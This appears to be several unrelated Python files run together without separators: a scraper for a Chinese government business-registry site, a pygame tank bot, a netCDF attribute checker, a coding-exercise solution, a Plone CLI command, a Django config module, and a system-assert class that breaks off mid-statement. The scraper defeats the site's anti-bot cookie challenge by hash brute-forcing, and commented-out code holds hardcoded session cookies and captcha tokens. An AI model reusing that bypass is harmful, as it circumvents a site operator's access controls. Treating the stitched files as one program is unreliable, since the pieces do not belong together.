# import requests
# import random
# MY_USER_AGENT = [
#     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
#     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
#     "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
#     "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
#     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
#     "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
#     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
#     "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
#     "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
#     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
#     "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
#     "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
#     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
#     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
#     "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
#     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
#     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
#     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
#     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
#     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
#     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
#     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
#     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
#     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
#     "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
#     "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
#     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
#     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
#     "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10",
#     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
#     ]
# headers = {
#     'user-agent':random.choice(MY_USER_AGENT),
#     'cookie':'__jsluid_h=82fe16f5c29ceec3158cde6ca30b1702; SECTOKEN=7456514189471517975; __jsl_clearance=1624238402.194|0|a3Xp7y5CZMIrflcejCzQGtQjf0E%3D; JSESSIONID=c21c6a2c98ed768ebae6650e9340; gsxtBrowseHistory1=%0FS%04%06%1D%04%1D%10SNS%24%26%3B%22%3D%3A71%3A%3B01%3A%219%40ADDDDE%40ADDDEDD%40FCCCMCL%40SXS%11%1A%00%1A%15%19%11SNS%E8%A4%8B%E6%9F%A3%E5%8F%8B%E7%BA%8B%E4%B8%BF%E6%BB%A4%E6%B1%80%E6%9F%A8%E4%BB%93%E9%95%B4%E5%87%A8%E6%B1%A5%E4%B9%A7%E4%B9%AE%E5%91%BC%E4%BC%A8%E7%A5%8ASXS%11%1A%00%00%0D%04%11SNMEDDXS%02%1D%07%1D%00%00%1D%19%11SNEBF%40FGLFDF%40AL%09; gsxtBrowseHistory2=%0FS%04%06%1D%04%1D%10SNS%24%26%3B%22%3D%3A71%3A%3B01%3A%219GEDDDDGEDEEADDDDFFDEADGF%40DDGD%40SXS%11%1A%00%1A%15%19%11SNS%E4%B9%BE%E6%B4%83%E4%B9%B3%E8%BF%8A%E7%BC%A5%E7%BA%A8%E9%86%A5%E8%9F%B9%E6%9D%B9%E5%8B%95%E6%9D%BD%E9%98%A4%E5%84%98%E5%8E%8CSXS%11%1A%00%00%0D%04%11SNEEMDXS%02%1D%07%1D%00%00%1D%19%11SNEBF%40FGMG%40CLCC%09; tlb_cookie=S172.16.12.71'
#
# }
#
# print(headers)
# data = {
#     # 'province': 100000,
#     'searchword': '上海万达网络金融服务有限公司',
#     'token': 109990349,
#     # 'tab':
#     'geetest_challenge': '72431a1dfc2b515bab707608139feb94',
#     'geetest_validate': '4ec698eba7f361f25fdd9067dd030f8b',
#     'geetest_seccode': '4ec698eba7f361f25fdd9067dd030f8b|jordan'
# }
# d = requests.request(method='post',headers=headers,url='http://www.gsxt.gov.cn/corp-query-search-1.html',data=data ).text
# print(d)

import hashlib
import json
import re
import execjs
import requests

def get_hash256(data: str):
    hash256 = hashlib.sha256(data.encode('utf-8'))
    return hash256.hexdigest()

def get_hashsha1(data:str):
    sha = hashlib.sha1(data.encode('utf-8'))
    return sha.hexdigest()

def get_hashmd5(data:str):
    hl = hashlib.md5(data.encode('utf-8'))
    return hl.hexdigest()

def get_cookies():

    headers = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Host': 'www.gsxt.gov.cn',
        'Proxy-Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',
    }

    url1 = 'http://www.gsxt.gov.cn/SearchItemCaptcha?'

    # proxies = {'http': 'http://'+host+':'+port+''}
    # print(proxies)

    r1 = requests.get(url1, headers=headers, verify=False)

    js = r1.text
    js = js.replace('<script>document.cookie=', '').replace(';location.href=location.pathname+location.search</script>', '')
    result=execjs.eval(js)

    __jsluid_h = r1.headers['Set-Cookie']
    __jsl_clearance = result

    cookies = {
        '__jsluid_h': __jsluid_h.replace('__jsluid_h=', ''),
        '__jsl_clearance': __jsl_clearance.replace('__jsl_clearance=', '')
    }

    url2 = 'http://www.gsxt.gov.cn/index.html'
    r2 = requests.get(url2, headers=headers,verify=False, cookies=cookies)

    data_org = re.findall(';go(.*)</script>', r2.text)[0]
    data = {"bts":["1624255820.461|0|NnX","XjUHU1prYon6Er6YhGot4Y%3D"],"chars":"RNvGJxaamMqWZKFlnjfuSx","ct":"9abb4a904d47983f3dd340c390608b26e466900aab471fee004b349e5f456c7b","ha":"sha256","tn":"__jsl_clearance","vt":"3600","wt":"1500"}
    # data = data_org.replace('(', '').replace(')', '')

    # data = json.loads(data_org)

    bts = data['bts']
    chars = data['chars']
    ct = data['ct']
    ha = data['ha']
    vt = data['vt']

    counti = 0
    countj = 0
    if ha == 'sha256':
        print('加密算法-' + ha)
        for i in range(len(bts[0])):
            for j in range(len(chars)):
                cookieTemp = bts[0] + chars[i] + chars[j] + bts[1]
                if get_hash256(cookieTemp) == ct:
                    counti = i
                    countj = j
                    break
    elif ha == 'sha1':
        print('加密算法-' + ha)
        for i in range(len(bts[0])):
            for j in range(len(chars)):
                cookieTemp = bts[0] + chars[i] + chars[j] + bts[1]
                if get_hashsha1(cookieTemp) == ct:
                    counti = i
                    countj = j
                    break
    elif ha == 'md5':
        print('加密算法-' + ha)
        for i in range(len(bts[0])):
            for j in range(len(chars)):
                cookieTemp = bts[0] + chars[i] + chars[j] + bts[1]
                if get_hashmd5(cookieTemp) == ct:
                    counti = i
                    countj = j
                    break

    __jsl_clearance = bts[0] + chars[counti] + chars[countj] + bts[1]
    __jsl_clearance = __jsl_clearance +';max-age='+vt +';'
    print(__jsl_clearance)
    exit()
    cookies1 = {
        '__jsluid_h': __jsluid_h.replace('__jsluid_h=', ''),
        '__jsl_clearance': __jsl_clearance,
    }
    url3 = 'http://www.gsxt.gov.cn/index.html'
    r3 = requests.get(url3, headers=headers, verify=False, cookies=cookies1)

    r3cookies = r3.headers['Set-Cookie']
    r3cookies = r3cookies.split(',')
    JSESSIONID = ''
    SECTOKEN = ''
    tlb_cookie = ''
    for i in r3cookies:
        if 'JSESSIONID' in i:
            JSESSIONID = i.replace('JSESSIONID=', '').strip()
        if 'SECTOKEN' in i:
            SECTOKEN = i.replace('SECTOKEN=', '').strip()
        if 'tlb_cookie' in i:
            tlb_cookie = i.replace('tlb_cookie=', '').strip()
    # cookies2为取数据所需要的cookie
    cookies2 = {
        '__jsluid_h': __jsluid_h.replace('__jsluid_h=', ''),
        '__jsl_clearance': __jsl_clearance,
        'JSESSIONID': JSESSIONID,
        'SECTOKEN': SECTOKEN,
        'tlb_cookie': tlb_cookie,
    }
    print(cookies2)

    # url3 = 'http://www.gsxt.gov.cn/SearchItemCaptcha?'
    # r3 = requests.get(url3, headers=headers, verify=False, cookies=cookies1).text
    # print(r3)

    url7 = 'http://www.gsxt.gov.cn/affiche-query-area-info-paperall.html?noticeType=11&areaid=100000&noticeTitle=&regOrg=110000'
    form_data = {
        "draw": 1, "start": 0, "length": 10
    }
    r7 = requests.post(url7, headers=headers, data=form_data,verify=False, cookies=cookies2)
    print(r7.text)

if __name__ == '__main__':
    get_cookies()


from typing import List
from random import randint
import pygame
from map.map import Map

from main_object import Object
from main_object.object import TYPE_BLOCK
from tank.tank import TankBuilder
from .controller import Controller, TYPE_BOT
from tank import Tank
from blocks import WATER_BLOCK

class TankBot(Controller):

  def __init__(self):
    self.amount_bots = 5
    super().__init__(TYPE_BOT)
    self.step = randint(50, 100)
    self.players: List[Tank] = []
    self.tanks: List[Tank] = []

  def update(self, map: Map):
      if self.amount_bots - len(self.tanks) > 0:
        for _ in range(0, self.amount_bots - len(self.tanks)):
          new_bot = TankBuilder.random_generate()
          map.add_object(new_bot)
          self.tanks.append(new_bot)

      if self.step == 0:
        self.step = randint(50, 100)
      self.step -= 1

      for player in self.players:
        if not player.status():
          self.players.remove(player)

      for tank in self.tanks:
        if not tank.status():
          self.tanks.remove(tank)

      for player in self.players:
        x = player.sprite.centerx
        y = player.sprite.centery

        for tank in self.tanks:
          if tank != player and tank.status():
              x_ = tank.sprite.centerx
              y_ = tank.sprite.centery

              l_x = x
              if x_ < x:
                l_x = x_
              l_y = y
              if y_ < y:
                l_y = y_
              layout_x = pygame.Rect(l_x, y_ - 10, abs(x - x_), 20)
              layout_y = pygame.Rect(x_ - 10, l_y, 20, abs(y_ - y))

              #pygame.draw.rect(window, 'red', layout_x)
              #pygame.draw.rect(window, 'red', layout_y)

              flag_x = True
              flag_y = True
              for object in map.objects:
                if object.type is TYPE_BLOCK and object.type_block is not WATER_BLOCK:
                  if layout_x.colliderect(object.sprite):
                    flag_x = False
                  if layout_y.colliderect(object.sprite):
                    flag_y = False

              if x_ - 10 <= x and x_ + 10 >= x and flag_y:
                if y < y_:
                  tank.direct = 0
                else:
                  tank.direct = 2
                tank.shoot()
              elif y_ - 10 <= y and y_ + 10 >= y and flag_x:
                if x < x_:
                  tank.direct = 3
                else:
                  tank.direct = 1
                tank.shoot()
              else:
                if self.step != 0:
                  tank.update_direct(tank.direct)
                else:
                  tank.update_direct(randint(0, 4))

  def set(self, tank: Tank):
      self.players.append(tank)

  def set_objects(self, tanks: List[Tank]):
      self.tanks = tanks


from .utils import UNDEFINED, is_undefined
from .cvs import vocabs
from .rules import rules

import re
import numpy as np

def _get_bounds_var_ids(dct):
    return [var_id for var_id in dct["variables"] if (
            var_id.startswith("bounds_") or var_id.startswith("bnds_") or
            var_id.endswith("_bounds") or var_id.endswith("_bnds"))]

def one_spelling_mistake(word):
    """
    All edits that are one edit away from `word`.
    Adapted from https://norvig.com/spell-correct.html
    """
    letters    = 'abcdefghijklmnopqrstuvwxyz0123456789._-'
    splits     = [(word[:i], word[i:])    for i in range(1,len(word) + 1)]  # 1 in range requires first letter to be correct
    deletes    = [L + R[1:]               for L, R in splits if R]
    transposes = [L + R[1] + R[0] + R[2:] for L, R in splits if len(R)>1]
    replaces   = [L + c + R[1:]           for L, R in splits if R for c in letters]
    inserts    = [L + c + R               for L, R in splits for c in letters]
    return set(deletes + transposes + replaces + inserts)

def two_spelling_mistakes(word):
    """
    All edits that are two edits away from `word`.
    From https://norvig.com/spell-correct.html
    """
    return set([ e2 for e1 in one_spelling_mistake(word) for e2 in one_spelling_mistake(e1) ])

def search_close_match(search_for, search_in):
    possible_close_edits = two_spelling_mistakes(search_for.lower())
    for s in search_in:
        if s.lower() in possible_close_edits:
            return f"'{s}' was found in this file, should this be '{search_for}'?"
    return ""

def check_var_attrs(dct, defined_attrs, ignore_bounds=True, skip_spellcheck=False):
    """
    Check that variable attributes are defined.

    E.g.: check-var-attrs:defined_attrs:long_name|units
    """
    errors = []
    warnings = []

    bounds_vars = _get_bounds_var_ids(dct)

    for var_id, var_dict in dct["variables"].items():
        if var_id in bounds_vars: continue

        for attr in defined_attrs:
            if is_undefined(var_dict.get(attr)):
                errors.append(f"[variable**************:{var_id}]: Attribute '{attr}' must have a valid definition.")

    return errors, warnings

def check_global_attrs(dct, defined_attrs=None, vocab_attrs=None, regex_attrs=None, rules_attrs=None, skip_spellcheck=False):
    """
    Check that required global attributes are correct.

    E.g.: check-global-attrs:defined_attrs:source
          check-global-attrs:vocab_attrs:Conventions
    """
    defined_attrs = defined_attrs or []
    vocab_attrs = vocab_attrs or {}
    regex_attrs = regex_attrs or {}
    rules_attrs = rules_attrs or {}

    errors = []
    warnings = []

    for attr in defined_attrs:
        if attr not in dct['global_attributes']:
            errors.append(
                f"[global-attributes:**************:{attr}]: Attribute '{attr}' does not exist. "
                f"{search_close_match(attr, dct['global_attributes'].keys()) if not skip_spellcheck else ''}"
            )
        elif is_undefined(dct['global_attributes'].get(attr)):
            errors.append(f"[global-attributes:**************:{attr}]: No value defined for attribute '{attr}'.")

    for attr in vocab_attrs:
        if attr not in dct['global_attributes']:
            errors.append(
                f"[global-attributes:**************:{attr}]: Attribute '{attr}' does not exist. "
                f"{search_close_match(attr, dct['global_attributes'].keys()) if not skip_spellcheck else ''}"
            )
        elif is_undefined(dct['global_attributes'].get(attr)):
            errors.append(f"[global-attributes:**************:{attr}]: No value defined for attribute '{attr}'.")
        else:
            errors.extend(vocabs.check(vocab_attrs[attr], dct["global_attributes"].get(attr), label=f"[global-attributes:******:{attr}]***"))

    for attr in regex_attrs:
        if attr not in dct['global_attributes']:
            errors.append(
                f"[global-attributes:**************:{attr}]: Attribute '{attr}' does not exist. "
                f"{search_close_match(attr, dct['global_attributes'].keys()) if not skip_spellcheck else ''}"
            )
        elif is_undefined(dct['global_attributes'].get(attr)):
            errors.append(f"[global-attributes:**************:{attr}]: No value defined for attribute '{attr}'.")
        elif not re.match(regex_attrs[attr], dct['global_attributes'].get(attr)):
            errors.append(
                f"[global-attributes:******:{attr}]: '{dct['global_attributes'].get(attr, UNDEFINED)}' "
                f"does not match regex pattern '{regex_attrs[attr]}'."
            )

    for attr in rules_attrs:
        if attr not in dct['global_attributes']:
            errors.append(
                f"[global-attributes:**************:{attr}]: Attribute '{attr}' does not exist. "
                f"{search_close_match(attr, dct['global_attributes'].keys()) if not skip_spellcheck else ''}"
            )
        elif is_undefined(dct['global_attributes'].get(attr)):
            errors.append(f"[global-attributes:**************:{attr}]: No value defined for attribute '{attr}'.")
        else:
            errors.extend(rules.check(rules_attrs[attr], dct['global_attributes'].get(attr), label=f"[global-attributes:******:{attr}]***"))

    return errors, warnings

def check_var_exists(dct, variables, skip_spellcheck=False):
    """
    Check that variables exist

    E.g. check-var-exists:variables:time|altitude
    """
    errors = []
    warnings = []

    for var in variables:
        if ':__OPTIONAL__' in var:
            var = var.split(':')[0]
            if var not in dct["variables"].keys():
                warnings.append(
                    f"[variable**************:{var}]: Optional variable does not exist in file. "
                    f"{search_close_match(var, dct['variables'].keys()) if not skip_spellcheck else ''}"
                )
        else:
            if var not in dct["variables"].keys():
                errors.append(
                    f"[variable**************:{var}]: Does not exist in file. "
                    f"{search_close_match(var, dct['variables'].keys()) if not skip_spellcheck else ''}"
                )

    return errors, warnings

def check_dim_exists(dct, dimensions, skip_spellcheck=False):
    """
    Check that variables exist

    E.g. check-dim-exists:dimensions:time|latitude
    """
    errors = []
    warnings = []

    for dim in dimensions:
        if ':__OPTIONAL__' in dim:
            dim = dim.split(':')[0]
            if dim not in dct["dimensions"].keys():
                warnings.append(
                    f"[dimension**************:{dim}]: Optional dimension does not exist in file. "
                    f"{search_close_match(dim, dct['dimensions'].keys()) if not skip_spellcheck else ''}"
                )
        else:
            if dim not in dct["dimensions"].keys():
                errors.append(
                    f"[dimension**************:{dim}]: Does not exist in file. "
                    f"{search_close_match(dim, dct['dimensions'].keys()) if not skip_spellcheck else ''}"
                )

    return errors, warnings

def check_var(dct, variable, defined_attrs, skip_spellcheck=False):
    """
    Check variable exists and has attributes defined.
    """
    errors = []
    warnings = []

    if isinstance(variable, list):
        variable = variable[0]
    if ':__OPTIONAL__' in variable:
        variable = variable.split(':')[0]
        if variable not in dct["variables"].keys():
            warnings.append(
                f"[variable**************:{variable}]: Optional variable does not exist in file. "
                f"{search_close_match(variable, dct['variables'].keys()) if not skip_spellcheck else ''}"
            )
        else:
            for attr in defined_attrs:
                if isinstance(attr, dict) and len(attr.keys()) == 1:
                    for key,value in attr.items():
                        attr = f'{key}: {value}'
                attr_key = attr.split(':')[0]
                attr_value = ':'.join(attr.split(':')[1:])
                if attr_key not in dct["variables"][variable]:
                    errors.append(
                        f"[variable**************:{variable}]: Attribute '{attr_key}' does not exist. "
                        f"{search_close_match(attr_key, dct['variables'][variable]) if not skip_spellcheck else ''}"
                    )
                elif '<derived from file>' in attr_value:
                    # work this out
                    pass
                elif attr_key == 'flag_values':
                    attr_value = attr_value.strip(',')
                    attr_value = [ int(i.strip('b')) for i in attr_value.split(',') ]
                    attr_value = np.array(attr_value, dtype=np.int8)
                    if not np.all(dct["variables"][variable].get(attr_key) == attr_value):
                        errors.append(
                            f"[variable**************:{variable}]: Attribute '{attr_key}' must have definition {attr_value}, "
                            f"not {dct['variables'][variable].get(attr_key) if skip_spellcheck else ''}."
                        )
                #elif attr_key == 'flag_meanings':
                #    print(attr_value)
                #    print(dct["variables"][variable].get(attr_key))
                elif not str(dct["variables"][variable].get(attr_key)) == attr_value:
                    errors.append(
                        f"[variable**************:{variable}]: Attribute '{attr_key}' must have definition {attr_value}, "
                        f"not {dct['variables'][variable].get(attr_key).encode('unicode_escape').decode('utf-8')}."
                    )
    else:
        if variable not in dct["variables"].keys():
            errors.append(
                f"[variable**************:{variable}]: Optional variable does not exist in file. "
                f"{search_close_match(variable, dct['variables'].keys()) if not skip_spellcheck else ''}"
            )
        else:
            for attr in defined_attrs:
                attr_key = attr.split(':')[0]
                attr_value = ':'.join(attr.split(':')[1:])
                if attr_key not in dct["variables"][variable]:
                    errors.append(
                        f"[variable**************:{variable}]: Attribute '{attr_key}' does not exist. "
                        f"{search_close_match(attr_key, dct['variables'][variable]) if not skip_spellcheck else ''}"
                    )
                elif '<' in attr_value:
                    # work this out
                    pass
                elif not dct["variables"][variable].get(attr_key) == attr_value:
                    errors.append(
                        f"[variable**************:{variable}]: Attribute '{attr_key}' must have definition {attr_value}, "
                        f"not {dct['variables'][variable].get(attr_key)}."
                    )

    return errors, warnings


import math
import os
import random
import re
import sys

def miniMaxSum(arr):
    total_sum = 0
    max_number = 0
    min_number = 0

    for number in arr:
        total_sum += number

        if (number > max_number):
            max_number = number

        if (number < min_number or min_number == 0):
            min_number = number

    max_sum = total_sum - min_number
    min_sum = total_sum - max_number

    print(min_sum, max_sum)

if __name__ == '__main__':

    arr = list(map(int, input().rstrip().split()))

    miniMaxSum(arr)


from plone.server import app_settings
from plone.server import logger
from plone.server.commands import Command
from plone.server.testing import PloneRequester
from plone.server.testing import TESTING_SETTINGS
from pprint import pformat

import asyncio
import logging
import threading
import time

def format_headers(headers):
    return '\n'.join(['\t{}: {}'.format(n, v)
                      for n, v in headers.items()])

class CliCommand(Command):
    description = 'Plone server CLI utility'

    def get_parser(self):
        parser = super(CliCommand, self).get_parser()
        parser.add_argument('-m', '--method', nargs='?',
                            default='get', help='HTTP method')
        parser.add_argument('-p', '--path', nargs='?',
                            default='/', help='Path to endpoint')
        parser.add_argument('-b', '--body', default=u'',
                            help='Request body')
        return parser

    def run(self, arguments, settings, app):
        app_settings['root_user']['password'] = TESTING_SETTINGS['root_user']['password']

        loop = app.loop
        handler = app.make_handler(keep_alive_on=False)
        loop.run_until_complete(loop.create_server(
            handler,
            '127.0.0.1',
            5777))

        def loop_in_thread(loop):
            asyncio.set_event_loop(loop)
            loop.run_forever()

        t = threading.Thread(target=loop_in_thread, args=(loop,))
        t.start()

        req_body = arguments.body or ''

        requester = PloneRequester('http://localhost:5777')
        resp = requester(
            arguments.method, arguments.path,
            data=req_body or None)

        print('''
Path: {path}
Method: {method}
Status code: {code}
Request Headers:
{request_headers}

Response Headers:
{response_headers}

Request body:
{request_body}

Response body:
{body}
        '''.format(
            path=arguments.path,
            method=arguments.method,
            code=resp.status_code,
            request_headers=format_headers(resp.request.headers),
            response_headers=format_headers(resp.headers),
            body=pformat(resp.json()),
            request_body=req_body
        ))

        loop.call_soon_threadsafe(loop.stop)
        while(loop.is_running()):
            time.sleep(1)


from functools import lru_cache
from typing import Dict, Union

from django.conf import settings
from django.dispatch import receiver
from django.test.signals import setting_changed

DEFAULT_CONFIG = {
    "DYNAMODB_TABLENAME": "sessions",
    "PARTITION_KEY_NAME": "PK",
    "SORT_KEY_NAME": "SK",
    "TTL_ATTRIBUTE_NAME": "ttl",
    "CACHE_PERIOD": 3600,
    "DYNAMODB_REGION": "ap-northeast-1",
    "LOGGING": {
        "TYPE": "CONSOLE",
    },
}

@lru_cache
def get_config() -> Dict[str, Union[str, int]]:
    """Return cached django-dysession config in dictionary type

    Contain Items:
        * DYNAMODB_TABLENAME
        * PARTITION_KEY_NAME
        * SORT_KEY_NAME
        * TTL_ATTRIBUTE_NAME
        * CACHE_PERIOD
        * DYNAMODB_REGION
        * LOGGING
            * TYPE
            * FILE_PATH

    Returns:
        Dict[str, Union[str, int]]
    """
    config = DEFAULT_CONFIG.copy()
    custom_config = getattr(settings, "DYSESSION", {})
    config.update(custom_config)
    return config

@receiver(setting_changed)
def update_dysession_config(*, setting, **kwargs):
    if setting == "DYSESSION":  # pragma: no cover
        get_config.cache_clear()  # pragma: no cover

__all__ = ["get_config"]


from __future__ import division
import logging
import pkg_resources as pkr
from voluptuous import Schema, Required, Optional, MultipleInvalid
from .plugin import AssertPlugin
from .filter import FilterPlugin
from .datasource import DataSource

class SysAssert(object):

    schema = Schema({
        str: {
            Optional('params'): {'strict': bool},
            Required('components'): [dict],
        }
    })

    def __init__(self):
        self.log = logging.getLogger(__name__)
        self._plugins = self.load_plugins()
        self._filters = self.load_filters()

    @property
    def plugins(self):
        """
        returns the list of loaded plugin classes
        """
        return self._plugins

    @staticmethod
    def load_plugins():
        """
        retrieves the available plugin classes registered with pkg_resources
        under the "sysassert_plugin_v1" entrypoint
        """
        plugins = {}
        for entry in pkr.iter_entry_points(group='sysassert_plugin_v1'):
            plugin_class = entry.load()
            assert issubclass(plugin_class, AssertPlugin)
            plugins[entry.name] = entry.load()
        return plugins

    @property
    def filters(self):
        """
        returns the list of loaded filter classes
        """
        return self._filters

    @staticmethod
    def load_filters():
        """
        retrieves the available filter classes registered with pkg_resources
        under the "sysassert_filter_v1" entrypoint
        """
        plugins = {}
        for entry in pkr.iter_entry_points(group='sysassert_filter_v1'):
            plugin_class = entry.load()
            assert issubclass(plugin_class, FilterPlugin)
            plugins[entry.name] = entry.load()
        return plugins

    def dependencies(self):
        """
        generates the list of shell command dependencies
        """
        for entry in pkr.iter_entry_points(group='sysassert_datasource_v1'):
            ds_class = entry.load()
            assert issubclass(ds_class, DataSource)
            yield from ds_class.get_deps()

    def lint(self, profile):
        """
        validates a profile data structure
        """
        try:
            self.schema(profile)
        except MultipleInvalid as err:
            raise Exception(err)
        return True

    def validate(self, profile):
        """
        do the actual job of validating the system
        """
        overall_status = True
        try:
            profile = self.schema(profile)
        except MultipleInvalid as exc:
            self.log.error(_('error in configuration: {0}').format(exc))

        for plugin_name, plugin_data in sorted(profile.items()):
            self.log.debug(_('config section: {0}').format(plugin_name))
            if plugin_name not in self.plugins:
                self.log.error(_('plugin not found: {0}').format(plugin_name))
                return False
            self.log.debug(_('configuring plugin: {0}').format(plugin_name))
            plugin = self.plugins[plugin_name]()
            self.log.info(_('----- BEGIN {0} -----').format(_(plugin_name).upper()))
            if plugin.validate(plugin_data['components'],
                               **plugin_data.get('params', {})) is False:
                overall_status = False
            self.log.info(_('----- END {0} -----').format(_(plugin_name).upper()))

        return overall_status

    def generate(self, plugins=None, filtered=False):
        """
        generate configuration from what was seen by plugins
        """
        results = {}

        if plugins is None or len(plugins) == 0:
            plugins = self.plugins

        for plugin_name in sorted(set(plugins)):
            self.log.debug(_('generating with plugin: {0}').format(plugin_name))
            if plugin_name not in self.plugins:
                raise KeyError(_('unknown plugin: {0}').format(plugin_name))
            plugin = self.plugins[plugin_name]()
            #results[plugin_name] = {'components': plugin.generate()}
            # filter on string type value because we don't accurately
            # compare subtables for now
            components = [{key: value
                           for key, value in entry.items()
                           if type(value) == str}
                          for entry in plugin.generate()]
            # filter components
            self.log.debug(plugin_name in self.filters)
            if filtered and plugin_name in self.filters:
                self.log.debug(_('filtering with filter: {0}'
                                 .format(plugin_name)))
                cfilter = self.filters[plugin_name]()
                components = cfilter.filtered_components(components)

            results[plugin_name] = {'components': components}

        # output must validate input schema
        return self.schema(results)

    def _adjust_unit(self, size, base=1024):
        units = ['', 'k', 'M', 'G', 'T', 'P', 'E']
        while size > base and len(units) > 1:
            size /= base
            units.pop(0)
        return (size, units.pop(0))

    def describe(self):
        """
        outputs a basic description of the system
        """
        self.log.info(_('----- BEGIN MACHINE DESCRIPTION -----'))

        data = self.generate(['system', 'disk', 'memory', 'processor', 'pci'])

        # System
        systems = data['system']['components']
        self.log.info(_('{0} system(s) found:'.format(len(systems))))
        for system in systems:
            self.log.info(_('  - {system[manufacturer]} {system[product-name]} '
                            '(serial: {system[serial-number]})')
                          .format(system=system))

        # Processors
        processors = data['processor']['components']
        self.log.info(_('{0} processor(s) found:'.format(len(processors))))
        for processor in processors:
            self.log.info(_('  - {processor[socket_designation]}: '
                            '{processor[version]} '
